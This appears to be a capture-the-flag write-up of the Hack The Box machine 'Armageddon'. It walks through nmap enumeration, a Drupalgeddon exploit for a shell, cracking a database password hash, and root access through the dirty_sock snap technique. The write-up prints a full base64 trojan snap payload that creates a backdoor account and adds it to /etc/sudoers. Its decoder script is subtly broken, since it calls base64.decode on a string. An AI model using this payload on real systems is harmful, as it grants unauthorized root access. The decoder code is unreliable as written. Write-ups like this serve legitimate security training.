Jump Ahead: Enum – User – Root – Resources

TL;DR;

To solve this machine, we begin by enumerating open services – finding ports 80 and 22 open. From the webserver, we find a vulnerable version of Drupal. Exploiting the vulnerability, we are able to get a shell on the machine as apache. From initial enumeration, we get a password hash for the brucetherealadmin user, and crack it using hashcat. Using the credentials, we are able to ssh into the machine, and read user.txt. Again from initial enumeration, we learn we are able to install snap packages as root. After some research, we are able to exploit this to create a backdoor account, and give it root access – allowing access to root.txt.

Enumeration

Like all machines, we begin by enumerating open ports using nmap – finding ports 22 and 80 open.

$ sudo nmap -v -p- --min-rate 3000 $RHOST
[...]
$ sudo nmap -p 22,80 -sV -A -oA enum/nmap/tcp-scripts-all $RHOST
# Nmap 7.91 scan initiated Sat Mar 27 17:12:20 2021 as: nmap -p 22,80 -sV -A -oA enum/nmap/tcp-scripts-all 10.129.124.94
Nmap scan report for 10.129.124.94
Host is up (0.045s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), Linux 3.18 (95%), ASUS RT-N56U WAP (Linux 3.4) (94%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.10 - 4.11 (93%), DD-WRT (Linux 3.18) (92%), Linux 4.10 (92%), Linux 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   42.71 ms 10.10.14.1
2   42.93 ms 10.129.124.94

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 27 17:12:44 2021 -- 1 IP address (1 host up) scanned in 24.46 seconds

Based on the nmap results, we learn that /robots.txt is present and has many entries. Among the entries is CHANGELOG.TXT, and viewing it reveals the website hosted on the webserver is likely running Drupal version 7.56.

Getting User

Seeing the website may be running Drupal 7.56, we check searchsploit for possible exploits around this version. Several of the Remote Code Execution (RCE) exploit names contain “Drupalgeddon” – which is ironically close to the machine name.

Since the exploits appear to cover the webserver’s version of Drupal, we mirror this exploit. Next, we run it, and we are presented with a pseudo shell as the apache user. As this is not an active session on the remote machine, we use python to get a reverse shell on the machine.

Since we know the server hosts a database, we immediately retrieve the credentials from the Drupal configuration file located at /var/www/html/sites/default/settings.php.

Having tried and failed at using the password to authenticate to local users, we log into the MySQL database, and retrieve credentials in the user table. By doing this, we get the username brucetherealadmin, and his password hash. Next, we use hashcat to crack the hash.

After we’ve cracked the password hash, we use it to SSH into the machine as the brucetherealadmin user, who owns user.txt.

Getting Root

Now that we have access as the brucetherealadmin user, we begin our initial enumeration before running automated scripts. First thing we want to try is checking if we are able to run commands as any other user. To do this, we use the sudo -l command. Doing so, we see we are able to run /usr/bin/snap install as the root user, without needing to supply a password.

At best, this means that we may be able to install a malicious package. Checking GTFOBins, we do not see any entries that will lead to a quick win, so we check searchsploit. Doing so, we find several exploits titled “dirty_sock”, that may allow for privilege escalation.

Per the exploit names, they may not work out of the box because the version of snapd is not less than 2.37 on the remote machine. As it doesn’t hurt to look at the exploits, we navigate to this one and look over it. In it, we see a variable named “TROJAN_SNAP”, with a comment above it that tells us it’s an encoded snap file that creates a backdoored account. As we can use this to exploit snap, we copy the payload and create a python script to decode it and create the snap file.

import base64

encoded = ('''
aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD/
/////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJh
ZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5
TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERo
T2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawpl
Y2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFt
ZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZv
ciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5n
L2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZt
b2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAe
rFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUj
rkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAA
AAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2
XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5
RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAA
AFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw'''
               + 'A' * 4256 + '==')

decoded = base64.decode(encoded)

f = open("./deadly.snap","wb")
f.write(decoded)
f.close()

Now that the malicious snap file is created, we can now install it. After we get the message that the package was installed, we are able to log into the machine using su with the credentials documented in the exploit. Checking our groups, we are not in the sudo group, so we now run sudo -l. By doing so, we see we are able to run any command as root. Using sudo to get a Bash shell, we can now access and read root.txt

Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!

Resources

• Drupal 7.62 Exploit
• CVE-2019-7304